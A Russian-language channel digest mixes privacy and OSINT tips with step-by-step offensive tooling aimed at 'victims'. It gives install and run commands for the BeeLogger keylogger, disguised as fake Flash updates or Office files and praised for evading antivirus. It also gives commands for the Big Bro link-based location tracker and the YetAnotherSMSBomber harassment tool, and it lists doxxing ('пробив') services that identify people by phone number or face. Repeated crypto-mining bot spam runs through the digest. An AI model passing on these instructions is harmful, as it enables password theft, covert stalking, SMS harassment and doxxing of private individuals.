​Digital-Privacy – Большой мануал от Китайских коллег по защите вашей цифровой конфиденциальности.

«Руководство от тех кто сражается уже давно»

Содержит много информации про методы сбора информации о вас, а также обучает максимальному удалению вашей информации из открытых источников.

¡ Используйте переводчик

GitHub | #Privacy #Archive

⚡️Некоторые поисковые фильтры, которые можно использовать с Shodan
https://medium.com/geekculture/shodan-the-internet-crawler-37cc22250656

Сегодня мне в LinkedIn попался на глаза удивительный сервис, EarthOnDemand от Astraea.

Нажимаем на кнопку "Draw bounding box to search", выделяем нужную нам область на карте. Сервис выдаст нам спутниковые снимки выбранной площади, отсортированные в хронологическом порядке.

Если вы не нашли то, что нужно, то сервис позволяет добавить еще 11 коллекций спутниковых снимков. При необходимости, можно ограничить период создания фото.

Каждое найденное изображение снабжено краткой характеристикой и доступно для скачивания. Инструмент бесплатный.

​​​​​Воруем пароли жертвы

Beelogeer - это электронный кейлоггер с открытым исходным кодом. Это мощный инструмент и скрытый инструмент, который можно замаскировать под фейковое обновление Adobe Flash, документ Word, Pdf или Pptx.

Установка:
$ apt install git python
$ git clone https://github.com/4w4k3/BeeLogger.git
$ cd BeeLogger
$ bash install.sh

Использование:
$ python bee.py

Генерируем подходящий нам файл цифрами. Из приятностей — VirusTotal почти не детектедит наш файл.

cr_seed_bot — мобильный майнинг

Как найти все URL сайта в веб архиве

web.archive.org/web/*/SITE.com/* — замените site.com на домен или URL чтобы узнать все что сохранил архив Wayback Machine. Если ссылок много то могут быть лаги.

Пример с пригласительной ссылкой
http://web.archive.org/web/*/t.me/joinchat/RR*

MetaClean — бесплатный онлайн-инструмент от adarsus, испанской компании, занимающейся информационными технологиями и кибербезопасностью.

MetaClean можно использовать для просмотра и удаления всех метаданных из файлов различных форматов. Он работает с изображениями, видео, файлами PDF и Docx, а также с mp3-треками и многими другими.

Ранее я упоминал похожий сервис MetaCleaner, приложение ScrambledExif, софтину MAT2 и другие инструменты для удаления метаданных.

#сайт #сервис

Генераторы всего подряд: карточек, промокодов, паролей... Может пригодиться.

Нашла @cybdetective

​​​Подборка сервисов для пробива по номеру телефона

Пробив - Это услуга по поиску определённой информации о предоставленном человеке или каком-либо объекте.

В данном посте будет представлена подборка сервисов, которые позволяют узнать нам достаточно приличный объём информации о пользователе, имея на руках только номер его сотового телефона.

Подборка:

1. Lampyre - веб-версия поиска по аккаунтам и телефонной книге.
2. Getcontact - поиск информации о том, как записан номер в контактах.
3. Avinfo Guru - пробиваем владельца авто по телефону.
4. Telefon Stop-list - поиск номера по всем ресурсам.
5. Rosfirm - поиск ФИО, прописки, адреса. Но нужно знать город.

cr_seed_bot — мобильный майнинг

Comprehensive Python Cheatsheet

A huge number of #osint tools are written in #python. And sometimes you may need to modify them
This cheat sheet will help to do this. It contains ready-made lines of code for almost every possible case

https://github.com/gto76/python-cheatsheet

Creator
twitter.com/jure_sorn

Продолжаем изучение OSINT по видео-урокам от Мефодий Келевра

Урок 51. Поиск по Google таблицам
Курс: "Master OSINT"

#OSINT #видеоуроки

Osint #cli Skeleton

If you want to create your own #osint tool in #python, you can use this template. There are code blanks, instructions for creating an installer, writing readme, and more.

https://github.com/soxoj/osint-cli-tool-skeleton


Creator https://t.me/osint_mindset

Подготовил обзор AMLBot (@cryptoaml_bot), крайне полезного инструмента для проверки криптоактивов и расследования инцидентов с использованием криптовалюты.

​Пробив по местоположению человека

Big Bro - Это инструмент для поиска местоположения людей перешедших по вредоносной ссылке. Если жертва перейдет по выданной утилитой ссылке и разрешит доступ к своему местоположению, тогда Вы узнаете где она находится на данный момент, ведь радиус разброса местоположения составляет всего 1-10 метров.

Установка:
$ git clone https://github.com/Bafomet666/Bigbro
$ cd Bigbro
$ 7z x 'Big bro 5.0.7z'
$ cd 'Big bro 5.0'
$ chmod +x install.sh
$ bash termux_install.sh

- В соседнем окне запускаем
$ ngrok
$ ngrok http 8080

Использование:
$ python3 bigbro.py -t manual 

cr_seed_bot — мобильный майнинг

Лучшие инструменты и методы разведки с открытым исходным кодом (OSINT).

https://www.intelligencefusion.co.uk/insights/resources/article/the-best-open-source-intelligence-osint-tools-and-techniques/

🔥 Книги must have для пентестера: от основ к вершинам.

👉 Аудит безопасности информационных систем
Автор: Скабцовс Н. В.

📖 Скачать

В этой книге рассматриваются методы обхода систем безопасности сетевых сервисов и проникновения в открытые информационные системы.

👉 Кибербезопасность: стратегии атак и обороны
Автор: Диогенес Ю., Озкайя Э

📖 Скачать

Книга посвящена многим аспектам компьютерной безопасности - начиная от стратегии защиты до управления уязвимостями.

👉 Тестирование на проникновение с помощью Kali Linux 2.0
Автор: Милосердов Алексей

📖 Скачать

Kali Linux является передовым Linux дистрибутивом для проведения тестирования на проникновение и аудита безопасности.

Обсудить в чате 👉 https://t.me/+jrxm2KHbIl9kMDQy

​​Пробиваем жертву по фотографии

Пробив - Это услуга по поиску определённой информации о предоставленном человеке или каком-либо объекте. Search4faces.com — бесплатный сервис для поиска по лицам в соцсетях. На данный момент есть 4 базы изображений:

1 миллиард 109 миллионов 563 тысячи аватарок VK.com;
280 миллионов 781 тысяч аватарок Vk.com + Odnoklassniki.com;
125 миллионов 443 тысячи аватарок TikTok;
4 миллиона 594 тысячи аватарок ClubHouse;

Можно искать не только по фотографии, но и по любому другому изображению человеческого лица. Например, по рисунку или фотороботу.

▫️http://Search4faces.com

cr_seed_bot — мобильный майнинг

​Бомбим чужие мобилы

YetAnotherSMSBomber — бомбер с множеством интегрированных API-интерфейсов SMS и поддержкой пользовательской конфигурации API! Неограниченное количество SMS!

Быстрее и легче, чем большинство скриптов SMS бомберов! Возможна международная бомбардировка!

Установка:
$ pkg install git python -y
$ git clone https://github.com/AvinashReddy3108/YetAnotherSMSBomber.git
$ cd YetAnotherSMSBomber
$ pip3 install -r requirements.txt

Использованиеи
$ python3 bomber.py Номер жертвы

📔Вся подробная информация на GitHub